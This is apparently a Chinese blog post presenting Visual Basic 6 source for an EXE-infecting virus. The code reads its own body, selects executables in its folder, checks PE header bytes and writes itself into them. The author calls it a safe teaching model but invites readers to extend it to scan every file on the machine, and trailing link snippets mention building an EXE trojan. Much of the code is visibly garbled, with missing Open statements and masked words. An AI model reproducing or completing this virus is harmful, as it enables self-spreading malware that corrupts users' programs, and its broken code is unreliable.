使大家清楚認識病毒程式的執行機理,提高自身程式的抵抗力。
說明:1、本**目前僅是實驗模型,給新手講解原理之用,不會失控,絕對安全。
2、本**僅實現了感染exe的功能,其他的功能還須你自己加入。
3、為了目前的安全,本病毒只是在病毒所在的目錄下隨機選乙個檔案感染,你可以利用此功能來除錯;將來你可以修改,讓它不斷的迴圈搜尋計算機上的所有檔案。
4、最重要的:不要搞惡意破壞,否則真進了監獄後果自負!
**:option explicit
private victim as string ''要感染的檔案的名字
private hostlen as long ''要感染的檔案的大小
private vbarray() as byte ''病毒的**
private harray() as byte ''要感染的檔案的**
private lenght as long
private mysize as integer ''病毒的大小
private declare function openprocess lib "kernel32" (byval dwdesiredaccess as long, byval binherithandle as long, byval dwprocessid as long) as long
private declare function getexitcodeprocess lib "kernel32" (byval hprocess as long, lpexitcode as long) as long
private declare function closehandle lib "kernel32" (byval hobject as long) as long
private iresult as long
private hprog as long
private idprog as long
private iexit as long
const still_active as long = &h103
const process_all_access as long = &h1f0fff
private sub form_initialize()
dim i as long
on error goto vbverror ''出錯處理
''原理:將生成病毒檔案的**讀出,粘在要被感染的檔案的後面。
as #1
redim myarray(lof(1) - 1)
mysize = lof(1)
redim vbarray(mysize)
get #1, 1, vbarray
close #1
''這是在讀自己的**
while victim <> ""
redim harray(lof(1))
get #1, 1, harray
close #1
''讀出病毒自身的**
if harray(&h69) <> &h4d then
i = harray(&h3c)
if harray(i) = &h50 then
put #1, , vbarray
put #1, mysize, harray
close #1
end if ''要保證被感染的不是空檔案(不是圈套)
end if
end if
''讀出準備被感染的檔案的**
victim = dir() ''next
wend
''下面的工作是為了保證病毒不會重複感染乙個檔案,也不會自我感染。
lenght = lof(1) - mysize
if lenght <> 0 then
redim vbarray(lenght - 1)
get #1, mysize, vbarray
close #1
put #1, , vbarray
close #1
hprog = openprocess(process_all_access, false, idprog)
getexitcodeprocess hprog, iexit
do while iexit = still_active
doevents
getexitcodeprocess hprog, iexit
loop
else
close #1
end if
endvbverror
''出錯處理,空著就可以了
end sub
相關文章參考:
☆vbexe
檔案中的聲音檔案
☆vb將配置儲存到
exe本身(生成
exe木馬程式)
EXE呼叫mdb例項VB原始碼
這是江羽 人事管理軟體 中用以啟動rsgl l.mdb的exe應用程式原始碼,現在帖出來與大家共同分享,原始碼如下 定義公用模組 declare function shellexecute lib shell32.dll alias shellexecutea byval hwnd as long,...
整人程式原始碼 VB
程式採用了vb6.0編寫,form1.frm 窗體 如下 version 5.00 begin vb.form form1 caption 你是煞筆嗎?clientheight 3135 clientleft 60 clienttop 405 clientwidth 4680 linktopic f...
loadEXEPE感染詳細VC原始碼注釋
實現將筆記本程式插入到計算器程式並替換掉程式程序名 include stdafx.h include include struct mzheader dos struct pe header struct pe extheader struct sectionheader 只定義了乙個節表達結構是乙...